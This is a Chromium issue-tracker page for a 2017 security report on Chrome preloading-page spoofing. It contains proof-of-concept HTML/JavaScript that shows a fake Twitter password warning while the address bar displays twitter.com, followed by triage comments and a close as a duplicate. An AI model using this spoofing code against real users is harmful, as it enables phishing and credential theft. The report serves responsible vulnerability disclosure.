New issue
Advanced search Search tips

Issue 704537 link

Starred by 2 users

Issue metadata

Status: Duplicate
Merged: issue 648117
Owner: ----
Closed: Mar 2017
Cc:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: Chrome Preloading page Spoofing

Reported by xis...@gmail.com, Mar 23 2017

Issue description

VERSION
Chrome Version: 57.0.2987.110+[Stable]
Operating System: [Windows/MAC]

REPRODUCTION CASE
Chrome Preloading page Spoofing

index.html
<script>
  function next() {
    if (n < 800) {
      w.location.replace('https://twitter.com');
      setTimeout("next();", 1);
      n++;
    }
  }

  function f() {
    w = window.open("tt.html", "new");
    setTimeout("next();", "1000");
    n = 0;
  }
</script>

<a href="#" onclick="f()">Login Twitter</a>


tt.html
<title>Twitter</title>
<p>
  <font size="100" face="arial" color="red">Waring!!Please change your Twitter password!!</font>
</p>

<script>
  location = 'https://twitter.com';
</script>

 
tt.html
191 bytes View Download
index.html
327 bytes View Download

Comment 1 by rsesek@chromium.org, Mar 23 2017

Labels: Needs-Feedback
I can't reproduce this on either 57.0.2987.110 or 59.0.3048.0 on macOS. I see a flash of the "Warning!!!" page, but the Omnibox shows a data: URL, and then it redirects to Twitter.

Comment 2 by xis...@gmail.com, Mar 24 2017

data:URL?? No data:URL.

Please open this online Demo: http://xisigr.com/test/spoof/chrome/pageloading_sdfajsdlfwef8fR.html#
MACOS:10.12.4  /  Chrome:57.0.2987.110 (64-bit)

You can see a flash of the "Warning!!!" page for a few seconds,at the same time the Omnibox shows twitter.com.
The user will think that this is the twitter preload page.

 
Project Member

Comment 3 by sheriffbot@chromium.org, Mar 24 2017

Cc: rsesek@chromium.org
Labels: -Needs-Feedback
Thank you for providing more feedback. Adding requester "rsesek@chromium.org" to the cc list and removing "Needs-Feedback" label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 4 by xis...@gmail.com, Mar 24 2017

pageloading_sdfajsdlfwef8fR.html
675 bytes View Download
Mergedinto: 648117
Status: Duplicate (was: Unconfirmed)
Mark as duplicated. 
 
Project Member

Comment 6 by sheriffbot@chromium.org, Jul 5 2017

Labels: -Restrict-View-SecurityTeam allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment